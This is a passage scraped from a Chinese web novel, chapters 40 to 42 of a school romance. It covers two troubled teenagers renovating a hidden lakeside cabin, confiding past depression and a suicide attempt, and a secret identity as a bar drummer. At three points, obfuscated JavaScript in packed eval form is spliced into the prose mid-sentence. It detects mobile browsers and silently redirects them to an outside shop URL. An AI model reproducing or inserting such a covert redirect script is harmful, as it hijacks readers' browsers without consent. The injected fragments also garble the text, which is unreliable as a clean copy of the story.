谢劲舟摸了把脑袋右侧的那道“X”,缓缓道:“别人都以为我这是在彰显身份,昭告众人,我姓的首字母是X,但其实不是。”他的眸子沉下去,仿佛淋了寒冰,孤冷阴鸷,“我的人生是个BUG,原本不该启动,可笑的是,不但启动了,还启动得如此糟糕。” 驰路的心忽然疼了下,这句话像一把利刃,直击她的心脏。 她的人生,现在何尝不是也启动得如此糟糕呢。 “舟哥,你说两个糟糕的人,凑在一起会怎样?” 谢劲舟看到驰路的眼睛里蒙了一层迷雾,他将手放到沙发上,一点点往右边移,移到距离她的手几厘米的时候忽然停下:“阿驰,你跟我不一样,你不糟糕,你成绩这么好,会前程似锦,会有无限风光。” 40. 小木屋改造计划 「每个人都值得拥有一座避难所,它只属于我们自己。 从拥有的那一刻就想占为己有。 不过,从现在开始,我想与你共享。」 ——《不夜港》 “驰妹,你怎么带这么多东西?搬家啊!”罗子昂开着他的那辆蹦蹦车来找驰路,看着她把油漆桶往车上搬,地上还有一些木地板、滚筒刷子、铲刀、胶水、手套之类的工具。 “这么多,就算放座位上也放不下啊。”罗子昂从驰路手里接过一捆用绳子扎起来的木地板,直接往车顶放,“驰妹,可以啊,你捆得还挺结实,去给哥找几根绳子。” “谢奶奶帮我捆的。” 罗子昂凑过去,小声问:“谢奶奶知道舟爷的秘密基地了吗?你没告诉她吧?” “你看我带这么多东西去,她能不知道吗。”驰路说,“早晚都会知道。” “驰妹,你能耐了啊,你是怎么说服舟爷改造他那小破木屋的?”罗子昂去搬地上的木地板,继续往车顶放。 “钱是我出的,他有什么不乐意的。”驰路把工具放到蹦蹦车的后座上。 想要改造谢劲舟的那座湖边小木屋并不是驰路的临时起意,从她来到小木屋的第一天,就有一种想拆了小木屋重建的想法。 小木屋从外观看,原生态,跟大自然融为一体,但你进去后,全是水泥地,坑坑洼洼,三个空间也都布置得极其简陋,里面放的家具都是破旧的二手货,她根本待不习惯。 她完全可以不去,但谢劲舟每周六日的补习她应了下来,要整天整天地待在那里,还要待四个周末。 驰路看了上次谢劲舟做的数学题,五道大题,竟然做对了三道,其余两道,解题思路都对,只是公式弄错了。 他好像没有那么糟糕,如果他能分一点心给学习,也不至于成绩垫底。 谢劲舟说他跟老马又请了一个月的假,可以在小木屋养腿伤。 也许,他不想让别人看到他走路不利索的样子,跟他爸一样,一瘸一拐,少了些大佬的气场。 驰路跟谢劲舟提出要改造小木屋计划时,谢劲舟正抽着烟,靠在小木屋门前,斜睨她一眼,言语带刺地问她:“你是我什么人?有什么资格改造小木屋?” “这是人能待的地方吗?” “你不是人?” 一句话把驰路呛得不行,想怼他,但忍住,用商量的语气说:“钱我出,物品我买,你负责装修、布置,怎么样?” 语气是商量的,姿态却是傲慢的,谢劲舟看不惯,狠狠抽了几口烟,不屑道:“老子不需要!” 不过最后谢劲舟还是妥协了,这全靠驰路拿出了杀手锏,用她那高超的演技征服了他。 那天临走时,天边悬着一枚夕阳,光很暖,温和地落在她身上。 她换上了来时的那身衣服,紧身背心、短裤、黑色靴子,露出了最自然最温柔的笑,狐狸眼往上挑着,魅惑勾人,极其漂亮。 驰路一步步往谢劲舟走去,每一步都走得很慢,像电影的慢镜头。 谢劲舟看到的便是一个美得不可方物的小姑娘,迎着落日余晖朝他迈步。 她的锋芒褪去了,她的傲慢归隐了,她像花丛中飞舞的蝴蝶,那么轻盈地朝他走来,每一步都仿佛走在他的心尖上。 驰路走到他身前,微微踮脚,在他耳边说:“舟哥,小木屋改造计划,你就答应我吧,我们一起打造一座漂亮的小木屋,一个温馨的家。以后,就是你的资产了,留给你的子孙,也不错,是不是?” 烟嗓变得软软的,却不带一丝讨好,仿佛在跟最亲密的人,商量一件小事。 谢劲舟说他考虑一下,当晚给她发了信息:阿驰,小木屋改造计划,舟哥批准了! 驰路看到这条信息时,兴奋得几乎从床上跳起来,等兴奋劲儿过了,她发现了不对劲。 不就是帮他改造小木屋吗,她要出钱、要出力,要做的事不少,她怎么就这么兴奋呢! 她平复了下情绪,躺下来,想起了跟他在小木屋相处的两天时间,恍然如梦。 那里好像世外桃源,隔绝了所有的尘世喧嚣,隔绝了一切暴力和烦恼。 她迷路时,谢劲舟去找她,为她撑伞;她害怕雷电时,谢劲舟将她抱在怀里,告诉她“阿驰,舟哥在,舟哥不会离开”;她发烧时,他不停为她换凉毛巾,整夜照顾她…… 他是别人口中的“坏学生”“社会败类”,却是她眼中的“舟哥”“谢劲舟”。 她从没信仰过什么,但在某个瞬间,却甘愿信仰她唯一的神明。 经谢劲舟批准“小木屋改造计划”后,没有任何装修经验的小白驰路,在学习之余,会大量地刷装修方面的知识,还特意问罗子昂哪里有家居城。 罗子昂说:“去什么家居城,我们这儿有批发市场,你去那儿,可以淘到不少东西。” 自从上个月面临金钱困境后,驰路现在用钱不会那么挥霍,能高性价买的,不会买最贵的。 但装修不是小事,也不是住一天两天,还涉及要环保材料、散味之类的,马虎不得。 驰路没去批发市场,而是提前跟老马请了假,申请一个月不上晚自习。 老马问她理由,她说,要回去督促谢劲舟好好学习。 老马一听,立马同意,还语重心长地跟她说:“谢劲舟挺聪明的,就是心思不放在学习上,想来学校就来,不想来就不来,态度不端正。你们现在住一起,你要好好跟他说说,就剩一年时间了,现在学还来得及,别等到明年这时候,考不上了再后悔。” 老马一番好心,驰路听得有些愧疚。 五点半放学后,驰路会在学校提前把作业做完,再骑着她重新买的新自行车去家具城,从木地板开始,一家家地逛,一块块地选。 选好木地板后,本想让对方送货上门,奈何超过了送货范围,只好叫上罗子昂,一起去找谢劲舟。 * 罗子昂开着蹦蹦车往静心山驶去。 其实,那是一座荒山,无名,静心山、静心湖、静心小屋都是谢劲舟取的。 他说,那里是他的静心地,越少人知道越好,越少人来越好。 他想独自,在他的静心世界里安住。 去的路上,头顶的木地板哐当哐当作响,驰路怕会松动掉下来,好在一路有惊无险,安全地抵达山脚。 蹦蹦车停了下来,罗子昂下车,抹了把脑门上的汗,看着的油漆桶、木地板犯了愁:“驰妹,舟爷没点自觉吗,他不下山搬?”他举目望去,没看到谢劲舟,“他不会是想把咱俩当苦力,自己去做他的大爷吧。” “你要把这些都搬上去,也算把你的舟爷伺候好了。”驰路看了眼已经悄悄站到罗子昂身后的谢劲舟,神色淡定。 “这样的伺候我才不要,保命重要。”罗子昂皱起眉,大吐苦水,“你不知道舟爷平时是怎么对我们的,有啥苦力都让我们上,上就上吧,你说这次他要整他那破小木屋,还拉上我,还不给一分工钱,真是剥削劳苦大众的资本家、恶势力!” 话刚落下,“啪”的一巴掌拍在了罗子昂的刺猬头上,吓得他跳开了,转身看到了眼神冷冽的谢劲舟。 罗子昂面色忽然一变,眉开眼笑道:“舟爷,我来搬木地板。”说完,特别识相地把拖车解下来,又去卸放在车顶上的木地板。 吐苦水归吐苦水,该干活时罗子昂一点不含糊,谁让谢劲舟是他从小玩到大的好哥们呢。 平时苦力活儿,谢劲舟不屑干,但他在罗子昂一次次遭人威胁、围攻、被打时,是谢劲舟一次次不顾生命危险地去救他。 上山时,罗子昂拖着拖车,其他两人抱着木地板、油漆桶,负重上山之路难行。 罗子昂看着木地板斜到了一旁,眼看要掉下来,只好停下,重新规整好:“驰妹,你怎么不让别人送货上门啊,这大热天的干这活儿,是想让我们急着见阎王吗。” 谢劲舟抬手给他脑门儿一巴掌,比刚才的那巴掌用力。 罗子昂揉了揉被打的地方,皱起脸:“舟爷,你怎么又动手!我没说错吧。” 谢劲舟沉着脸,敛着眉,一副“老子不爽,你给老子闭嘴”的样子。 驰路也不想亲自上阵,抱着一摞木地板爬山。 人家不愿意送货上门,她添点钱,应该能成,但这话她没提,因为谢劲舟跟她说过:“我要你亲自给我送货,顶多再加上罗刺猬。” 她知道,他不想见其他人,不想让其他人打破他构建的静心世界。 一路上,罗子昂拖得东倒西歪,时不时停下重新摆好木地板,驰路走得越来越慢,双臂上被压了痕,越来越重,越来越红,只有谢劲舟,哪怕右腿走得不太利索,依然匀速地往上走,很少回头,把两人远远地甩在后头。 他越走越远,成了小小的背影。 罗子昂气喘吁吁地说:“舟爷的体力还真不是盖的,就是,你说他怎么就不知道等等我们?真是累死我了。” “少说话吧,保持点体力。”驰路把怀里的木地板往上提了提,木地板的边边重重压到她的手臂上,加深了痕迹。 罗子昂并没有闭嘴,继续输出:“驰妹,你有没有发现舟爷的状态还不错?” “你上次叫我过来时,他什么状态?” “那时的他啊,”罗子昂一向到那时的谢劲舟,悲从心中起,眉目间都不禁露出一丝哀愁,“烟,成盒成盒地抽;酒,成罐成罐地喝;晚上,整夜整夜地不睡。他的眼神又呆滞又无神,谁看了他都会觉得他是一具行尸走肉,一点儿平时里的嚣张气焰都没有,浑身都像覆盖了一层死灰。唉,我真怕他想不通,做什么对自己不好的事。” “不好的事?”驰路脑中浮现一周前的谢劲舟,确实给她一种对生了无兴致的感觉,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“走吧。”谢劲舟从驰路手上搬过木地板,拎在手上,另一只手帮罗子昂一起拉拖车。 * 行至小木屋,驰路看着谢劲舟手心被勒出的红痕,还有他脸上的汗水,被汗浸透的黑色背心,走到他身前说:“舟哥,下次我们请人搬,好不好?” 谢劲舟没说话,掀起背心擦脸上的汗,露出紧实性感的腰腹。 “钱我出”这话刚想说出口,又被驰路识相地憋回去,换了另外一句:“你腿伤没好,这次是搬油漆桶、木地板,下次要搬沙发、床,你的腿难好。留着点力气装修房子,好不好?” 依旧是温软的商量语气,谢劲舟沉吟片刻,终于从薄唇间吐出一个字:“好。” * 这天先把墙面刷了,谢劲舟为主力,其他两人辅助,间隙引发了一场油漆大战,从驰路和罗子昂对战,到三人混战。 原本枯燥无味的刷墙劳动倒有趣起来,三人的衣服上、脸上沾满了白的、浅绿色的油漆。 玩到最后,三人混战变成了谢劲舟、驰路对战罗子昂,引来罗子昂极力抗议:“舟爷、驰妹,你俩犯规!” “犯什么规?”驰路边说边又往罗子昂身上甩白色油漆。 罗子昂抬起胳膊一挡,油漆甩到了他胳膊上,他从胳膊间悄悄探出脑袋:“两个人欺负一个人,不公平!没人性!罚红牌!” “我想,怎么着!”谢劲舟朝罗子昂甩了一把浅绿色的油漆,借住他的身高优势,甩到了他刺猬头上、脸上。 驰路看着满脸如调色盘的罗子昂,不禁笑出声。 谢劲舟的视线悠悠地往驰路身上瞥,不知是不是被她的笑感染,冷漠的脸上竟然有了一丝笑意。 他又集中攻击罗子昂,换来罗子昂的连连哀号:“谢劲舟,你见色忘义!”“谢劲舟,你住手!”“谢劲舟,你有完没完!”…… 谢劲舟没停,罗子昂都说了什么,他一个字没听进去,耳边全是驰路的笑声,金属质感的、好听的笑声,在耳边回响。 刷完墙已近黄昏,三人躺在湖边的草丛上闭目养神,罗子昂跟谢劲舟讲江湖恩怨,谢劲舟听了会儿打断他:“来老子这儿,就别说这些了。” 罗子昂也就乖乖闭了嘴。 看飞鸟、听湖水、感受夏日炽热的风,时间慢了下来。 太阳渐渐西沉,快沉入地平线,罗子昂带着驰路要下山,驰路却说:“你走吧。” 罗子昂惊道:“你要陪着舟爷?” 上次他知道驰路两天都待在这儿是没办法,被雨困住,这次呢,怎么还主动要留下来? “驰妹,你不会……”罗子昂大胆说出心声,“喜欢上我们舟爷了?” 41. 脚踝上的文身 「往昔是捆住手脚的绳索,你帮我解开。 告诉我,我们下沉的人生,会被打捞上岸,神明也会照亮他唯一的信徒。 原来,马不停蹄地得到是这种滋味。 谢谢你,Z」 ——《小蝴蝶的盛夏》 “你想多了。”驰路说,“留下来帮忙,明天还要有人打下手。” “不嫌弃这儿简陋了?” 驰路没回,罗子昂继续说:“不嫌弃这儿破旧了?” 驰路依然沉默,打脸现场来得太快,她懒得辩驳。 罗子昂还想往下说,却受到了谢劲舟投来的一记锋利的眼神,顿时闭了嘴。 罗子昂独自孤零零地下了山。 驰路之所以留下来,是因为不久前,谢劲舟拉着她来到一棵树下,跟她说:“阿驰,今晚留下来,陪我。” 这是谢劲舟第一次提出这样的诉求,没有霸道的言语,深邃的眸子里仿佛流淌着清澈的河流,纯粹无暇。 本来就要给他补课,留夜住宿少了往返时间、上下山时间,也挺好,她便应下了。 * 夜幕降临,驰路进了屋,坐到沙发上,看到茶几旁放了一箱方便面、一箱啤酒、几袋火腿肠,还有几瓶矿泉水。 应该是谢劲舟让罗子昂送来的救济粮吧,全是没营养的速食食品。 等到第二天,罗子昂送来了瓜果蔬菜,满满一筐,都是按照驰路列的清单去购买的。 谢劲舟看了并没一点惊喜,反而露出极为诧异的表情,翻着框里的食物,还都是有塑料包装、贴条码的,一看就是去超市买的,还都买的有机的:“罗刺猬,谁让你买的?” 罗子昂指了指驰路:“还有谁,你家驰妹呗。不过,也有语欢买的,像你爱喝的冰镇可乐啊、培根啊、排骨啊,都是她去买的。” “如果有煤气灶、锅啊,就更好了。”驰路翻出一罐白桃气泡水,单手拉开拉环,喝了起来,模样格外惬意。 “煤气灶难,买个液化气罐、液化气灶倒是可行。”罗子昂想了想,觉得不对劲,“不过,你们又不是常住这儿,整这么齐全干吗,搞得像小情侣装修婚房。” “羡慕?”谢劲舟拿出一罐可乐,摇晃着,而后打开,气泡四溅,发出在半空炸开的声音。 罗子昂摇头,他羡慕不来。 “嫉妒?”谢劲舟不顾溢出瓶身的气泡,仰脖灌了几口,气泡沿着他的手心滑落。 罗子昂又摇头,他这只单身狗没胆量嫉妒,笑道:“舟爷,祝你们新婚快乐、百年好合!” “……”驰路在喝气泡水,听到罗子昂这么说,愣住,气泡水卡在喉间,随后咳嗽起来。 “别废话。”谢劲舟指着地上的菜筐,“搬屋里。” “一起吧,舟爷。”罗子昂搬上来累得够呛。 “听不懂人话?”谢劲舟丝毫没有要帮的意思,明明是别人来帮忙,他却像个颐指气使的主子。 罗子昂习惯了这样的谢劲舟,没跟他计较,只好继续做免费的搬运工。 等罗子昂走远些,谢劲舟喝完可乐,将罐子捏扁,朝远处扔去,扔到了他砌的那圈红色围墙里。 他双手插兜,迈开长腿,懒散地朝驰路走了两步,停住:“你很有钱,是不是?” 质问的语气。 “怎么了?” “普通的菜,吃不死人!”谢劲舟脸上挂着“你这位大小姐,真够讲究”的神情。 “我想买有机的,又没花你的钱,你管这么多干吗。”驰路吃惯了有机蔬菜,不想成为农药产品的牺牲者,这难道有错吗? “算了,随你。”谢劲舟心里一阵燥,掏出烟抽了起来。 他舍不得给奶奶、小乔买有机食品,再不让驰路花自己的钱去买,确实不占理。 再说,他有什么立场来主宰她该做什么、不该做什么。 谢劲舟烦躁地往前走,烟雾被甩到身后,听到身后的小姑娘说:“舟哥,我值得好的,你也值得。” * 静心小屋全部竣工是在一个月后,时间滑到9月底。 置办的家具、油漆都是驰路亲自拍照发给谢劲舟,两人一起选的,为了跟小木屋相配,选的都是原木色家具、地板,墙围刷成了浅绿色,其他地方都是白墙。 卫生间做了干湿分离,空着的一间做了厨房,扩大了客厅面积,放了投影仪,没事时可以看看电影。 谢劲舟知道她买了投影仪,感到不妙:“阿驰,你不会把这儿当你的家了?” 驰路正摆弄着投影,看放在哪个位置合适,放沙发上头不合适,容易掉下来,要不在沙发上头放个置物架吧。 她一边想着一边回谢劲舟:“舟哥,难道这不是我们一起打造的家吗?你拥有房屋所有权,我拥有居住权,我想让居住环境好些、舒服些,你坐收渔利,不好吗?” 这些天,驰路东奔西跑地去家具城一家一家地选家具,周六日除了会在白天帮他一起组装家具、安装木地板,晚上还要帮他补习功课,谢劲舟把这些都看在眼里。 中间两人会出现分歧,有时驰路妥协,有时谢劲舟妥协。 他们像两根拉扯着的皮筋,常常背道而驰,但松开皮筋,又会相碰、交汇。 谢劲舟没说什么,因为他发现,自己跟驰路待在一起的时光,非但没让他不自在,反而让他觉得,这世界不是冷冰冰的。 蒙尘世界,会有清朗时刻,就像乌云背后,总会藏着太阳。 * 驰路对“静心小屋”倾注感情后,不知不觉中已然把这里当成她的栖息地,当成她跟谢劲舟的秘密基地。 忙完一切,她看着与一个月前既然不同的田园风的布置,感到这段时间的辛劳都值了。 打量一圈,好像少了点什么。 驰路喝完剩余的矿泉水,拿来剪刀,剪出一个小罐,做了个捕鱼的工具,出了小屋,朝湖边走去。 她走在一片郁郁葱葱的草木间,朝霞落在她身上,让她宛若林间精灵。 湖水清澈,清楚地看到水草,游弋其间的鱼儿。 驰路拿出自制的捕鱼工具,对准鱼群的地方,往下一探,鱼四散逃离,罐子里空空如也。 聚拢的鱼成了散户,捞起来更难,她捞了一次又一次,一条鱼都没捞到。 驰路只好贡献自己难得的耐心,干脆坐在湖边,等鱼再聚拢,一等就等了十几分钟。 不知是老天垂怜她等待多时,还是出于好运,驰路这次终于捞到一条小鱼。 虽然只有一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560758|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但她依然兴奋,原本紧绷的脸上满是笑意。 她没发觉,她的钓鱼举动,被倚靠在树下的谢劲舟全程看去。 * 谢劲舟进屋时,看到茶几上多了个小玩意儿,一个被剪开的矿泉水瓶,里面装着清澈的湖水,水里有三尾小鱼,鱼儿在逼仄的空间里几乎快转不开身。 “下次我买个鱼缸过来。”驰路搬来一个透明玻璃瓷瓶,将刚采摘的洋桔梗插进去。 驰路踢了凉拖,往沙发上一窝,望着茶几上的鱼缸、花瓶,顿时觉得客厅变得灵动、温馨。 她看着站着没动的谢劲舟:“舟哥,怎么样?” 谢劲舟转过身,懒懒地往沙发上一躺,单薄而锋利的眼皮往上一掀,跟驰路的视线在空中交汇,声音沉磁:“比我想象中要好。” 在静心小屋与驰路相处的时日里,谢劲舟看到了多面的她,高傲的、能干的、聪慧的、倔强的、低头的、妥协的…… 她像一块多面棱镜,太阳照射过来,各个面都发出耀眼的光芒。 他看着她脚上的那枚酒红色文身,抬手抚过上面的小小蝴蝶,蝴蝶上的皮肤粗糙不平。 驰路被他突如其来的动作弄得一惊,不由得缩回脚:“舟哥,我们还没亲密到这地步吧。” 谢劲舟没接她的话茬,看着那细线上的潦草字母问:“字母什么意思?” “Ελευθερ?α。” “解释一下。” “希腊语,自由。” “你自/杀过?” * “舟哥,你也过那样的时刻吧。”驰路的脸上瞬间弥漫开一股抹不开的伤感,“不论别人说什么、做什么,你都提不起兴趣。不管是黑夜还是白天,对你来说,都是黑夜。晚上躺在床上,想的都是坏事,想赶走却怎么也赶不走,一整晚一整晚的睡不着。” “你有过抑郁症。”谢劲舟说出一句肯定的话,犹豫半晌,说出藏在心里鲜少有人知道的秘密,“我有躁郁症,你经历过的,我也经历过;你没经历过的,我也经历过。” 对于谢劲舟第一次跟她说出自己的病症,她有些讶然,这是他向自己敞开心扉的开端? 驰路抚摸着脚踝上的那只蝴蝶,之所以要在脚踝上文身,是因为想盖住难看的伤疤。 伤疤是她所为,彼时,血沿着她的脚踝往下流淌,没入浴缸的水中,渐渐晕开,染红周围的水。 血水在浴缸里不停流,她几乎感觉不到疼痛,心里反而有种即将要解脱的畅快感。 浴缸渐渐被染红,她的意识越来越混沌,脑中的黑暗转瞬即逝,好像即将要入天堂。 在意识彻底失去前,听到有人用惊恐的声音大声说:“驰路,你不想活了吗?” 谢劲舟摸上她脚踝上的那只蝴蝶说: “阿驰,我们生于人间,长在地狱,踏过废墟,渴望光明,追求自由。灵魂都曾破碎,阳光从未抵达。” “不过,现在不一样了,我们一起打造了属于我们的静心小屋,我们有了可以遮风挡雨的庇护所,有了一个真正意义上属于我们的家。” “我们下沉的人生,终于被打捞上岸。” “太阳会不会升起,都没关系,它会长在神明身上,神明会照亮他唯一的信徒。” 42. 烦人精谢大佬 「穿校服的,扎马尾辫的,戴框架眼镜的。 是你,又不是你。 你是我梦的开端,也是我梦的彼岸。」 ——《不夜港》 这是驰路第一次听谢劲舟跟自己说这么多话,难得不带刺,难得有耐心,难得语气平和,甚至还夹杂一丝宠溺和疼惜。 看啊,她不是世界的弃儿,她的神明在乎她。 她终于有了一个不是家的家了。 没有父母,没有弟弟,只有她跟谢劲舟。 有什么关系呢,灵魂破碎时,及时帮你拼凑的才是家人。 那晚,驰路跟谢劲舟说:“舟哥,我会好好守护这个家,也会好好跟随我唯一的神明。是你用光亮代替了我生命里的黑暗,让我相信,这世上所有的苦难,都是上天对我的考验,也让我知道,青春并不是单枪匹马长大的过程,我也可以不孤立无援,也可以有人陪我走过一段时光。谢谢你,让我不再是一个人。” 后来,他们去了屋外,躺在花草间,听着潺潺湖水,闻着花草香,仰头看了一场极美极炫目的星星。 他们靠得那么近,脸上都有满足的笑意,亲密程度像家人,又不像家人。 静谧中,谁都听到了彼此胸腔里猛烈跳动的心跳声。 夜色跌入荒野,他们的眉眼间仿佛盛满了一整个夏天。 * 谢劲舟的归校引来不小风波,尤其是爱慕他的女生们,第一时间冲锋陷阵,冲到高三七班,在最前线瞻仰帅哥风采。 除了这一道常见风景,又新生一道别样奇观——女生们旁边围了一圈男生,高矮胖瘦,帅的,不帅的,样样都有。 虽长相不一,但他们的热情度、目光透视度一个比一个热烈。 他们的目光都精准地投射在一个人身上——驰路。 谢劲舟本趴在桌上休息,听到女生们叽叽喳喳的声音,感到投向他的目光,眼皮抬都没抬一下。 直到耳边响起男生的声音,一波高过一波,议论声纷纷: “谁说她本人难看的,一点都不难看啊,这不是清纯美少女的翻版吗。” “我艹,本人好看啊!” “跟鼓手头牌比的话,还是差不少,身上没那种劲儿。” “你懂什么,这叫容貌相似,风格不同,各有各的美!” …… 谢劲舟听不下去了,终于抬起枕在胳膊间的脑袋,掀起薄薄的眼皮,看向窗外那群用看猴一样看驰路的男生们。 他看得烦,听得不爽。 他就不明白了,在学校装乖又低调的驰路,怎么就一下子火了? 今早他看到驰路时,还吓了一跳,因为他第一次看到戴眼镜的她,还是那种比较大的黑框眼镜,几乎遮住了她半张巴掌大的脸,也完全掩盖住她迷人的狐狸眼,整个人看起来更乖了,也显得更小了,像个初中生。 谢劲舟看不惯她这副样子,直接摘掉她的眼镜:“戴什么眼镜!丑死了!” “舟哥,你管太多了吧,我想戴。”驰路从他手中夺过,重新戴好,撇了撇嘴,“有那么丑吗!” 她觉得还不错啊,看起来像正宗的乖巧牌高三学子了。 “阿驰姐姐,我哥乱讲,你戴眼镜一点都不丑,好看的。”在一旁的谢林乔帮她说话。 谢劲舟说:“随你,你想丑下去就戴。” 等来了学校,谢劲舟才从罗子昂那儿得知,驰路这不是第一天戴眼镜了,而且还戴了有一个月了。 也就是,他请假的一个月里,她都戴眼镜。 又不是近视眼,戴什么眼镜,觉得这样好看?还是为装乖添砖加瓦? 正在他疑惑之际,罗子昂撑着下巴给谢劲舟普及:“舟爷,想知道驰妹为啥突然走红吗?” “你没来学校的这一个月,江湖上有个传闻,据说,霓虹酒吧来了个新鼓手,是个美妞儿,比清姐还酷,又美又飒,堪称天上的神仙,地上的活菩萨,美得只可远观不可亵玩。”罗子昂一顿疯狂输出,“这个美妞儿,现在被称为鼓手头牌,人气远远超过清姐了。我去了几回,都没见到本人,但我们学校的贴吧炸了,知道为什么吗?” “说!”谢劲舟看着趴窗的男生们,眼神冷若冰霜。 “看吧,”罗子昂把手机举到谢劲舟面前,“像不像咱驰妹。” 谢劲舟的眼神终于从男生们身上移开,挪到手机屏幕上,看到的瞬间,眉头紧蹙了下。 罗子昂没想到谢劲舟会是这种表情:“舟爷,怎么了?不像吗?” 屏幕上的女生坐在舞台一侧的架子鼓前,画着很浓的烟熏妆。 她双手潇洒抬起,手里拿着鼓槌,一刀切的黑色齐耳短发飞扬,耳骨上戴了一排黑色铆钉耳钉,耳垂上戴了两个,脖颈间戴着一根黑色颈链,上面缀着一只黑色燕尾蝶,手腕上戴着铆钉皮手环,穿着黑色紧身短款背心式皮衣、黑色皮裙,黑色铆钉靴。 一身黑色,酷飒得要命。 唯有拿着鼓槌的指间,是艳丽的酒红色,透出妖媚。 “这个看不出来,你再看这个视频。”罗子昂见谢劲舟久久没说话,调了个视频给他看。 视频里的女生抬起架子鼓时,气场十足,颇有明星范儿,每个细胞都像在叫嚣着,要将内在的能量迸发出来。 她像舞台上特立独行的妖孽,像黑暗里展翅飞舞的蝴蝶,即使不在C位,但全身的每处都发着光,紧紧地撅住你所有的感官。 她浑身充满叛逆的、反骨的、离经叛道的气质,这个不为人知的一面,谢劲舟见过,还不止见过一次。 她在他家楼道里看他的凌厉眼神,在阳台上抽烟时朝他脸上吐出烟圈时的姿势,在静心小屋一起装修时不妥协的态度……还有,深夜里,偶尔爬上他床的妖媚蝴蝶,都一身反骨。 还有,她脖子上挂着的那个黑色蝴蝶颈链,谢劲舟曾在她摆弄首饰时见过,一模一样。 毫无悬念,这个人人称赞的霓虹酒吧的“鼓手头牌”,不是像驰路,而是驰路。 谢劲舟看着前座的驰路,对于她为什么一个月都戴眼镜恍然大悟。 她戴眼镜,不是为了好看,也不是为了装乖。 她想掩盖事实,掩盖她不是“鼓手头牌”的事实。 她将自己的两面性表现得淋漓尽致。 谢劲舟越发觉得驰路有趣,玩味地抬起食指,挑起她扎成马尾辫的头发,往手指上缠了一道又一道。 窗外的男声一直议论个不停,像聒噪的蝉鸣,响在谢劲舟耳边,燥得要命。 谢劲舟的耐心告罄,懒懒地掀起眼皮,投那帮男生投去一记“快给老子滚开”的狠厉眼神。 “走吧,走吧。”胆小者首当其冲边说边跑开,其他人继而纷纷离开。 “舟哥,这是我叠的星星,记得拆开看啊。” “舟哥……我给你写的信……” “舟哥,听说你腿受伤了,这是给你买的药。” …… 女生们不顾谢劲舟对驰路的戏弄,该表达心意的一个都没落下。 谢劲舟没去看她们从窗口放到桌上的东西,更没去看她们,而是依然玩味地卷着驰路的头发。 驰路正埋头预习数学,不管方才站在窗口的男生们有多吵闹,她都置若罔闻,完全一副好好学生的模样。 “舟爷,这位美妞儿最最厉害的是,就去霓虹酒吧敲过一次鼓,现在人气高到离谱。”罗子昂继续科普,“这个月,校园贴吧里讨论她的帖子一直不断。这不,连咱们长得像的驰妹都沾了光,一跃成了全校名人,被称为清纯版‘鼓手头牌’。天天有男生来看咱驰妹。” 驰路眼睛看着数学课本,耳朵听着罗子昂的话,人还是岿然不动。 心里想的却是:姐就是“鼓手头牌”! 她知道后桌正在玩弄她的头发,她没去管,倒要看看他要玩到什么时候! 谢劲舟缠着她的头发到头绳处,把她弄疼了,她才不得不放下笔,转过头看向谢劲舟:“玩够了吗?” 烟嗓很沉、很冷,不带任何情感。 谢劲舟松不开手,那簇头发死死地缠在他的食指上。 她一转头,扯起她的头发,比刚才更疼了,眉头不由一蹙:“松开!” “我也想松开啊。”谢劲舟优哉游哉地玩味道,“你的头发不愿意。” “……” 他这是自己做了恶,还甩锅到受害人身上,真是不道德! 驰路只好朝他靠近,他却纹丝不动。 “谢劲舟!”驰路气得眼里冒火,生气的样子,跟穿着校服、戴着眼镜乖巧的她形成极大反差。 “我不在,你就胡作非为了。”谢劲舟又把食指往上缠,指骨碰触到她的头皮。 * 驰路瞪他,他这是发什么疯? 难道…… 一丝不好的预感蹦出来。 但他应该不会发觉所谓的“鼓手头牌”是她。 网上流传的那些照片、视频里的她浓妆艳抹,都是拍的前面、侧面,看不到她后背的文身,他怎么就能判定“鼓手头牌”是她呢? 他的姿态太过闲散、太过慵懒,眸子里是惯有的漠然和玩味,她根本猜不透他在想什么。 谢劲舟点到为止,没有继续往下说的意思。 驰路看着他的食指一圈一圈往外移,头发在他修长的指间,也一圈一圈归位。 这时,江迟从教室外走进来,正好看到这一幕,提着塑料袋的手指收紧,指关节泛白。 但坐到座位时,神色如常,依然是那个清秀的唇红齿白的少年。 江迟从袋里里拿出一块热好的紫菜饭团、一杯桃子味的热饮,放到驰路桌上:“上课前吃点吧。” 声音温柔体贴,像一枚春日里暖得刚刚好的太阳。 罗子昂见自己的同桌皱起了眉头,在纸上写了一行字,推给他看。 谢劲舟只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560759|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥了一眼,眉头皱得更紧了。 那行字上写着:舟爷,你家驰妹要被她同桌拐跑了。 谢劲舟把小迷妹送的东西往罗子昂桌上一推。 罗子昂知道他这要做什么,自己做惯了他的跑腿冠军,立马了然:“舟爷,还要我挡掉你的那些桃花?” “打开看看。”谢劲舟用眼睛示意罗子昂打开透明罐子里叠的星星。 罗子昂以为自己误解了谢劲舟的意思,难以置信地问:“舟爷,你让我打开?” 